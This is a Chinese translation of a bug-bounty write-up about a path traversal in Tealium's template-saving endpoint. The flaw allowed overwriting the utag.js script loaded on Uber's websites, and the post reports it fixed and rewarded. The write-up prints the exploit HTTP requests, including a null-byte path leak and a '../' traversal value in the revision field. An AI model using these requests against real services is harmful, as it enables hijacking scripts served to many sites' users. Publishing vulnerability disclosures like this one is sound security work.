原文: http://zhchbin.github.io/2018/12/03/Hijack-the-JS-File-of-Uber-s-Website/
TLDR
- 几乎所有Uber网站都正在加载JS文件:https://tags.tiqcdn.com/utag/uber/main/prod/utag.js
- 我发现utag.js的内容是/data/utui/data/accounts/uber/templates/main/utag.js在my.tealiumiq.com中进行部署时开始更新的。
- my.tealiumiq.com存在路径穿越问题,该问题使黑客可以更改utag.js其他帐户,包括Uber的帐户。
- 该错误已在8个月前修复。Bug赏金:6000美元。
我的脚步
在寻找漏洞赏金时,我喜欢问自己一些问题。环顾四周https://tags.tiqcdn.com/utag/uber/main/prod/utag.js,我发现Uber的网站正在使用所提供的第三方服务Tealium。我问自己:我可以修改的内容utag.js吗?如何?
我注册了两个帐户,开始了自己的旅程。警告:请勿使用目标帐户进行生产测试。
POST /urest/legacy/saveTemplate与profile=main%00获取服务器的路径
POST /urest/legacy/saveTemplate?utk=044925f62222711fdfec11dc6a4e7160e053d31e1a7f4774e8 HTTP/1.1
Host: my.tealiumiq.com
<redated>
account=evilaccount&profile=main%00&type=profile&template=profile.loader&code=%2F%2F+console.log(1)%3B%0A%0Aconsole.log(1)%3B
Response
{ "message" : "There was an error updating this template: /data/utui/data/accounts/evilaccount/templates/main/utag.js"}
更改请求正文以更新version.loader
POST /urest/legacy/saveTemplate?utk=688b137d1b8d8e884b3e1be4cd689843d0e3bc9705665f059b HTTP/1.1
account=evilaccount&profile=main%00&type=revision&template=revision.loader&code=thisisatest&revision=201804081230
回复
{ "message" : "There was an error updating this template: /data/utui/data/accounts/evilaccount/templates/main/201804081230/utag.js"}
如您所见201804081230,该路径上出现了。经过测试,我发现可以插入../该路径,这意味着我可以更改任何帐户(包括Uber帐户)的utag.js。
POST /urest/legacy/saveTemplate?utk=688b137d1b8d8e884b3e1be4cd689843d0e3bc9705665f059b HTTP/1.1
...
account=evilaccount&profile=main&type=revision&template=revision.loader&code=thisisatest&revision=201804081230/../../../../<victimaccount>/templates/main
译者按:
作者发现了一个用户可自定义更新的JS文件引用,并且在更新Template处配合路径穿越可以替换任意用户引用的JS。从而劫持任意用户。
本文迁移自知识星球“火线Zone”